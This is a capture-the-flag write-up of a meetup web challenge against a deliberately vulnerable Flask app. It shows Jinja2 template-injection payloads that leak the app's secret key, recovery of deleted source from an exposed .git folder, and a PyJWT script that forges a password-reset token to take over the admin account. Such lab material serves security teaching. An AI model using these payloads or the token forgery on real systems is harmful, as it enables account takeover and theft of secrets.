ØxOPOSɆC Mɇɇtuᵽ [0x70] Challenge Write-up

January 17, 2019 oposec infosec ctf 10 minutes to read

“Based in Porto, the ØxOPOSɆC group was started by g33ks who are passionate about security. The meetup primary mission is to discuss and tackle upsurging security issues by leveraging the expertise and know-how of members of the group.” This is the write-up of the challenge at the 0x70 meetup edition, by DDuarte and André Morais.

The meetup happens in a monthly-basis, feel free to join in.

Index Page/Login

Jumping to the challenge. We’re given an URL to a Twitter-like website named Twipy (image). From the name, we can conclude that maybe it is made in Python. We know that there are 4 flags to be found:

  • Flag 1 - Version Control is easy
  • Flag 2 - Debug 101
  • Flag 3 - Nice tweet Eve 🧪
  • Flag 4 - This link is bamboozling

All the flags have the same format: {flag}Rand0mStuff

Recon

First things first, lets make some recon even without creating an account. Firing up a dirsearch maybe will give us something. The results can be summed up as follow (200 status code results):

1
2
3
4
5
$ dirsearch -u "example.com" -e py,php
|- 200 -    1KB - /.git/
|- 200 -  735B  - /.gitignore
|- 200 -    3KB - /auth/login
|- 200 -   19KB - /debug.log

So, from dirsearch, we found an exposed .git folder and a debug.log file. Downloading all the things with wget.

1
2
$ wget --mirror -I .git http://example.com/.git/
$ wget http://example.com/debug.log

Before moving further, firing up nmap returns only ports 22 (SSH) and 80 (HTTP), so nothing unusual here. We could try to find the credentials for the SSH, but it is a long-shot from the beginning. Firing also sqlmap on all the possible injectable fields (login form, account reset and next query param) also resulted in a dead-end.

Timeline/Home

Moving further, and creating an account, we end up with a timeline (image). In the image we can see another user posts, Willis Adams, which has two messages being one of them a private message that we can only see the first 6 chars: {flag}*****************************. Only the Willis Adams user can see the message behind the asterisk, but it is a flag.

The other features of the website like the update profile, explore other users tweets and searching resulted in dead-ends.

Flag 1 - Version Control is easy

After finding the .git folder, the next obvious step was to try to recover all the source code. By making a $ git status we could see all the files that were deleted.

1
$ git checkout -- .

Running the above command restored all the files to their most recent version (before being deleted). By checking the $ git log we found out some curious commit messages like Don’t disclose mail password :), but I could not find anything by analyzing the git diffs.

Since we know that all flags have the same format, making an exaustive search among all files and revisions:

1
$ git grep ".*flag.*" $(git rev-list --all)

We could find that in the commit eb3cb7e1ec4e73b0850ec4a6c4a89122599d213d the file twipy.py had the following line of code:

1
return '{flag}Us3_vault_for_no_p4sswords_1n_s0urce_cod3.'

And so, we have our first flag:

{flag}Us3_vault_for_no_p4sswords_1n_s0urce_cod3.

Flag 2 - Debug 101

During our recon phase we found out that a debug.log was exposed and accessible. Analyzing its contents we could immediatelly find the next flag:

1
2019-01-10 17:52:25,489 ERROR: Unhandled Exception: {flag}b3_c4r3ful_w1th_Wh4t_y0u_l34v3_pUbl1c [in /twipy/app/errors/handlers.py:21]

Further, we found out that calling http://example.com/flag was the trigger to write that exception to the log file.

{flag}b3_c4r3ful_w1th_Wh4t_y0u_l34v3_pUbl1c

Flag 3 - Nice tweet Eve 🧪

Since we now have access to the source code of the app, and sure that the app is written in Python, one of the first things that come to mind is Server-Side Template Injection. Reading some tutorials and write-ups about the subject I found this one as being the most straightforward: Flaskcards challenge at Pico CTF 2018.

To find if the website is vulnerable we simply tweet {{ 7 * 7 }}, and in the alert-info box we got the following response: You just posted: 49

So our code is being executed. In order to exploit Template Injection firstly, we must find out what is the template engine being used. To do so, the probe {{7 * '7'}} would result in 49 in Twig, 7777777 in Jinja2, and neither if no template language is in use. In our case, the response was: You just posted: 7777777, so we’re dealing with Jinja2.

We could also reach the same conclusion by analyzing the Python packages in the requirements.txt file. And we could also identify the vulnerable code:

1
2
# TODO add user input validation
post_content = render_template_string('''You just posted: %s ''' % form.post.data)

The next step was trying to get the config, posting {{ config.items() }}, which resulted in an alert-info with a lot of information that is contained in the config, including:

  • FLAG: {flag}V4lid4t3_always_us3r_1NPUT
  • SECRET_KEY: yJmsCAeao5zOM3gvoxHrOyM5HGJTTDpQ7UxAIHneCxc=
  • SQLALCHEMY_DATABASE_URI: mysql+pymysql://twipy:[email protected]/twip

So we have our third flag:

{flag}V4lid4t3_always_us3r_1NPUT

One of the things that can be easily noticed is that each user has a unique UUID, e.g. ae1677ca-f7bd-431a-8280-8fdf4aa801ca. We can also visit other users profiles and get their unique UUID.

1
2
3
god_user = User.query.filter_by(email='[email protected]').first()
if god_user:
    user.follow(god_user)

Analyzing the code creating a new user account, we notice that all the users must follow the user Willis Adams, with the UUID 70a82737-a6d9-4284-93db-0600db6f05ca.

1
2
def dummy_password(size=8, chars=string.ascii_letters + string.digits):
    return ''.join(random.choice(chars) for i in range(size))

Since the passwords are randomly generated in the twipy.py, brute-forcing would take too much time. Another attack-vector can be the recovery password mechanism. By analyzing the structure of the recovery link, we notice that it resembles a JWT token:

http://example.com/auth/reset_password/eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6InphZnlmb2t1QGdldG5hZGEuY29tIiwiaWQiOiJhZTE2NzdjYS1mN2JkLTQzMWEtODI4MC04ZmRmNGFhODAxY2EiLCJleHAiOjE1NDc3MjY4NzEuMzgwMzQ2LCJuYW1lIjoidHNhciJ9.pDrpqe-GB8Qo2xEdD5pDA9wIOtNpOl3GAq19LBFZJXs.

In the models.py file we have the following logic for assigning and validating recovery password tokens (JWT tokens).

1
2
3
4
5
6
7
8
9
10
11
12
13
def get_token(self, expires_in=600):
    return jwt.encode(
        {'id': self.id, 'name': self.name, 'email': self.email, 'exp': time() + expires_in},
        current_app.config['SECRET_KEY'],
        algorithm='HS256').decode('utf-8')

@staticmethod
def verify_token(token):
    try:
        id = jwt.decode(token, current_app.config['SECRET_KEY'], verify=False, algorithms=['HS256'])['id']
    except:
        return
    return User.query.get(id)

Since there is no call to database or nounce being used, we can make our own JWT tokens if we know the SECRET_KEY (from the third flag) and the UUID of the target user, in this case, the god user.

By making a simple script (checking out in the requirements.txt the Python package used for the JWT - PyJWT), we can get the JWT token in question.

1
2
3
4
5
6
7
8
9
10
11
12
13
import jwt
from time import time

secret_key = 'yJmsCAeao5zOM3gvoxHrOyM5HGJTTDpQ7UxAIHneCxc='
id = "70a82737-a6d9-4284-93db-0600db6f05ca"
name = "Willis Adams"
email = "[email protected]"
expires_in = 600;

print jwt.encode(
    {'id': id, 'name': name, 'email': email, 'exp': time() + expires_in},
    secret_key,
    algorithm='HS256').decode('utf-8')

By setting a new password to the god user we can see their private tweets thus getting the flag.

{flag}4lw4ys_v3r1fy_y0ur_t0k3NS

Wrap-Up

It was a nice web challenge, always learning a little bit more about infosec and CTFs. Kudos @dduarte and @AndreMorais for the challenge.